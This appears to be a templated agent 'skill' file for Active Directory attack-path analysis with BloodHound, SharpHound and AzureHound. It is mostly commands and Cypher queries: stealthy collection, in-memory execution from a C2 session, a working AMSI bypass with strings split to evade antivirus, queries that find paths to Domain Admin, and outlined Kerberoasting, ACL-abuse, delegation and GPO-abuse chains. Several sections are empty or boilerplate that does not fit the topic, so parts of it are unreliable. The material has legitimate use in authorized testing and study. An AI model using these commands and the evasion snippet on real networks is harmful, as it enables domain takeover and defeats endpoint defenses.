Performing Active Directory Bloodhound Analysis

Performing Active Directory BloodHound Analysis

Overview

BloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.

When to Use

Trigger phrases:

• "performing active directory bloodhound analysis"

• "Use BloodHound and SharpHound to enumerate Active Directory relationships and id"

• When conducting security assessments that involve performing active directory bloodhound analysis

• When following incident response procedures for related security events

• When performing scheduled security testing or auditing activities

• When validating security controls through hands-on testing

Prerequisites

• Initial foothold on a domain-joined Windows system (or valid domain credentials)
• BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed
• SharpHound collector (C# binary or PowerShell module)
• Neo4j database (Legacy) or PostgreSQL (CE)
• Network access to domain controllers (LDAP TCP/389, LDAPS TCP/636)

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

MITRE ATT&CK Mapping

Step 1: Data Collection with SharpHound

This section covers step 1: data collection with sharphound for performing active directory bloodhound analysis.

• Ensure all prerequisites are met before proceeding
• Follow the documented workflow steps in sequence
• Record results and any anomalies encountered during this phase

SharpHound.exe (Preferred for OPSEC)

# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip

# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp

# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123

# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00

# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp

Invoke-BloodHound (PowerShell)

# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip

# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
$t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)

AzureHound (Azure AD)

# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json

# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound

Step 2: Import Data into BloodHound

This section covers step 2: import data into bloodhound for performing active directory bloodhound analysis.

• Ensure all prerequisites are met before proceeding
• Follow the documented workflow steps in sequence
• Record results and any anomalies encountered during this phase

BloodHound CE (v5+)

# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up

# Access web interface at https://localhost:8080
# Default credentials: admin / bloodhound
# Upload ZIP file via GUI: Upload Data > Select File

BloodHound Legacy

# Start Neo4j
sudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)

# Start BloodHound GUI
./BloodHound --no-sandbox

# Drag and drop ZIP file into BloodHound GUI

Step 3: Attack Path Analysis

This section covers step 3: attack path analysis for performing active directory bloodhound analysis.

• Ensure all prerequisites are met before proceeding
• Follow the documented workflow steps in sequence
• Record results and any anomalies encountered during this phase

Pre-Built Queries (Most Critical)

-- Find all Domain Admins
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n

-- Shortest path from owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

-- Find Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

-- Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname

-- Users with DCSync rights
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name

-- Find computers where Domain Users are local admin
MATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p

-- Find unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

-- Find constrained delegation abuse paths
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate

-- GPO abuse paths
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)
RETURN p LIMIT 50

-- Find all sessions on high-value targets
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.name

Custom Cypher Queries

-- Find users with GenericAll on other users (password reset path)
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name

-- Find WriteDACL paths (ACL abuse)
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50

-- Find AddMember rights to privileged groups
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name

-- Map trust relationships
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name

-- Find service accounts with admin access
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name

Step 4: Common Attack Paths

This section covers step 4: common attack paths for performing active directory bloodhound analysis.

• Ensure all prerequisites are met before proceeding
• Follow the documented workflow steps in sequence
• Record results and any anomalies encountered during this phase

Path 1: Kerberoasting to DA

User (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->
Server HasSession DA -> Steal Token -> Domain Admin

Path 2: ACL Abuse Chain

User (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->
IT Admins -> AdminTo DC -> Domain Admin

Path 3: Unconstrained Delegation

User (owned) -> AdminTo Server (Unconstrained Delegation) ->
Coerce DC Auth (PrinterBug/PetitPotam) -> Capture TGT -> DCSync

Path 4: GPO Abuse

User (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->
Code Execution as SYSTEM

Step 5: Remediation Recommendations

When NOT to Use

• You don't have explicit written authorization to test
• Task is about defense/detection, not offense (use detection skills)
• You need to implement security controls (use implementing-* skills)
• Task requires compliance auditing (use auditing-* skills)
• You're investigating an incident (use incident response skills)
• Target is out of scope for your engagement
• Task is about vulnerability scanning only (use scanning tools)

Red Flags

• Performing actions without explicit written authorization from the asset owner
• Testing against production systems without a defined scope and rules of engagement
• Capturing traffic on networks without authorization or privacy considerations
• Leaving packet captures containing sensitive data unencrypted on disk
• Deploying inline blocking rules without testing for false positives first

Verification

• All steps executed successfully against a test environment before production use
• Output documented with screenshots or logs demonstrating expected behavior
• Captures verified as complete with no dropped packets
• Detection rules tested against known-benign traffic for false positive rate
• Alert thresholds validated and tuned to reduce noise

References

• BloodHound GitHub: https://github.com/BloodHoundAD/BloodHound
• BloodHound CE: https://github.com/SpecterOps/BloodHound
• SharpHound: https://github.com/BloodHoundAD/SharpHound
• MITRE ATT&CK S0521: https://attack.mitre.org/software/S0521/
• SpecterOps BloodHound Documentation: https://bloodhound.readthedocs.io/

Process

1. Analyze the task requirements
2. Apply domain expertise
3. Verify output quality

Anti-Rationalization Table